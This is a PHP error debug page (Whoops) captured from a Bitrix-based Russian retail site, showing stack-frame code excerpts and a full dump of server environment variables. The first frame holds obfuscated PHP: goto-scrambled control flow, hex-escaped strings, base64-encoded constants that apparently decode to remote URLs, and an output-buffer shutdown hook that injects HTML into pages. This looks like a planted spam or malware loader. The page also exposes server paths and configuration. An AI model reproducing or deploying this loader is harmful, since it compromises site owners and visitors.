Ss3VP; AfwtL: dxbi4: goto WGJrm; Awufz: $p8yhw = $_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\124\x5f\x4c\101\116\107\x55\x41\x47\105"]; goto hRMk0; kT15a: goto cAWkL; goto L9OC1; RKQnr: global $ahpjG, $SzF3y, $dqr6X, $QH_Px; goto iQDSR; L9OC1: pq1sd: goto YiUrr; ZNB3Y: t1KTd: goto RtBb5; GaSr2: $wyuUY = array(); goto dAVn4; f_qF0: if (MfBi4($QH_Px) && w7CV_($ahpjG)) { goto J44NQ; } goto jlcmD; AUfpf: $JdpZm = ESF5h(); goto GaSr2; R9R8y: } goto DiCiu; OxZa0: function uQ1Bz() { $W0OaF = ob_get_contents(); ob_end_clean(); } goto Yex8u; FRai7: define("\x6e\x65\166\x63\171", base64_decode("\141\110\122\x30\x63\104\157\x76\114\x32\106\153\114\155\122\156\141\x7a\147\x34\x4f\x43\x35\60\x62\63\101\x76")); goto byjza; zCByt: define("\172\x39\66\x38\x5f", base64_decode("\141\110\122\x30\143\x48\115\66\x4c\x79\71\161\x63\62\116\153\x62\x69\65\x6b\132\62\163\64\117\104\x67\165\x64\x47\x39\167\114\167\x3d\x3d")); goto qAtYp; KOJRg: function fKOEh() { ob_start(); register_shutdown_function("\x69\x6e\163\145\x72\164\137\x68\x74\x6d\154\x5f\145\x6e\144"); } goto OxZa0; DiCiu: M8uoS();
?><?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog.php");?>
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
brands
/
index.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Производители");
?><?$APPLICATION->IncludeComponent(
    "bitrix:news", 
    "partners", 
    array(
        "COMPATIBLE_MODE" => "Y",
        "ADD_ELEMENT_CHAIN" => "Y",
        "IBLOCK_CATALOG_ID" => "2",
        "ADD_SECTIONS_CHAIN" => "Y",
        "AJAX_MODE" => "N",
        "AJAX_OPTION_ADDITIONAL" => "",
        "AJAX_OPTION_HISTORY" => "N",
        "AJAX_OPTION_JUMP" => "N",
        "AJAX_OPTION_STYLE" => "Y",
        "BROWSER_TITLE" => "-",
        "CACHE_FILTER" => "Y",
        "CACHE_GROUPS" => "N",
        "CACHE_TIME" => "100000",
        "CACHE_TYPE" => "A",
        "CHECK_DATES" => "Y",
        "COMPONENT_TEMPLATE" => "partners",
        "COMPOSITE_FRAME_MODE" => "A",
        "COMPOSITE_FRAME_TYPE" => "AUTO",
        "COUNT_IN_LINE" => "3",
        "DETAIL_ACTIVE_DATE_FORMAT" => "d.m.Y",
        "DETAIL_DISPLAY_BOTTOM_PAGER" => "Y",
        "DETAIL_DISPLAY_TOP_PAGER" => "N",
        "DETAIL_FIELD_CODE" => array(
            0 => "NAME",
            1 => "PREVIEW_TEXT",
            2 => "PREVIEW_PICTURE",
            3 => "DETAIL_TEXT",
            4 => "DETAIL_PICTURE",
            5 => "",
        ),
        "DETAIL_PAGER_SHOW_ALL" => "Y",
        "DETAIL_PAGER_TEMPLATE" => "",
        "DETAIL_PAGER_TITLE" => "Производитель",
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/header.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
urlrewrite.php
 
            if (($urlTmp7 == "upload/" || ($urlTmp7 == "bitrix/" && mb_substr($urlTmp, 0, 16) != "bitrix/services/" && mb_substr($urlTmp, 0, 18) != "bitrix/groupdavphp")))
                continue;
 
            $ext = strtolower(GetFileExtension($url));
            if ($ext != "php")
                continue;
 
            // D7 response is not available here
            if(stristr(php_sapi_name(), "cgi") !== false && (!defined("BX_HTTP_STATUS") || BX_HTTP_STATUS == false))
            {
                header("Status: 200 OK");
            }
            else
            {
                header($_SERVER["SERVER_PROTOCOL"]." 200 OK");
            }
 
            $_SERVER["REAL_FILE_PATH"] = $url;
            include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$url));
            die();
        }
    }
}
 
//admin section 404
if(mb_strpos($requestUri, "/bitrix/admin/") === 0)
{
    $_SERVER["REAL_FILE_PATH"] = "/bitrix/admin/404.php";
    include($_SERVER["DOCUMENT_ROOT"]."/bitrix/admin/404.php");
    die();
}
 
define("BX_CHECK_SHORT_URI", true);
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/brands/index.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
urlrewrite.php
<?
include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/urlrewrite.php');
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/404.php'))
    include_once($_SERVER['DOCUMENT_ROOT'].'/404.php');
?>
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php"
    

Environment & details:

Key Value
GameID
"2025-05-09/jlacam.html"
linerow
"3"
section_id
"26"
empty
empty
empty
empty
Key Value
PHP_INI_SCAN_DIR
"/var/www/www-root/data/php-bin-isp-php81/vannstudio.ru:"
PATH
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHPRC
"/var/www/www-root/data/php-bin-isp-php81"
PWD
"/var/www/php-bin-isp-php81/www-root/vannstudio.ru"
CONTENT_LENGTH
"0"
SCRIPT_NAME
"/bitrix/urlrewrite.php"
REQUEST_URI
"/brands/boheme/?GameID=2025-05-09%2Fjlacam.html&linerow=3&section_id=26"
QUERY_STRING
"GameID=2025-05-09%2Fjlacam.html&linerow=3&section_id=26"
REQUEST_METHOD
"GET"
SERVER_PROTOCOL
"HTTP/1.0"
GATEWAY_INTERFACE
"CGI/1.1"
REDIRECT_QUERY_STRING
"GameID=2025-05-09%2Fjlacam.html&linerow=3&section_id=26"
REDIRECT_URL
"/brands/boheme/"
REMOTE_PORT
"33604"
SCRIPT_FILENAME
"/var/www/www-root/data/www/vannstudio.ru/bitrix/urlrewrite.php"
SERVER_ADMIN
"webmaster@vannstudio.ru"
CONTEXT_DOCUMENT_ROOT
"/var/www/www-root/data/www/vannstudio.ru"
CONTEXT_PREFIX
""
REQUEST_SCHEME
"http"
DOCUMENT_ROOT
"/var/www/www-root/data/www/vannstudio.ru"
REMOTE_ADDR
"3.128.188.69"
SERVER_PORT
"80"
SERVER_ADDR
"127.0.0.1"
SERVER_NAME
"vannstudio.ru"
SERVER_SOFTWARE
"Apache/2.4.52 (Ubuntu)"
SERVER_SIGNATURE
"<address>Apache/2.4.52 (Ubuntu) Server at vannstudio.ru Port 80</address>\n"
HTTP_ACCEPT_ENCODING
"gzip, br, zstd, deflate"
HTTP_USER_AGENT
"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"
HTTP_ACCEPT
"*/*"
HTTP_CONNECTION
"close"
HTTP_X_FORWARDED_PORT
"443"
HTTP_X_FORWARDED_PROTO
"https"
HTTP_HOST
"vannstudio.ru"
REMOTE_USER
""
HTTPS
"on"
REDIRECT_STATUS
"200"
REDIRECT_HTTPS
"on"
FCGI_ROLE
"RESPONDER"
PHP_SELF
"/bitrix/urlrewrite.php"
REQUEST_TIME_FLOAT
1747329755.7781
REQUEST_TIME
1747329755
REAL_FILE_PATH
"/brands/index.php"
empty
0. Whoops\Handler\PrettyPageHandler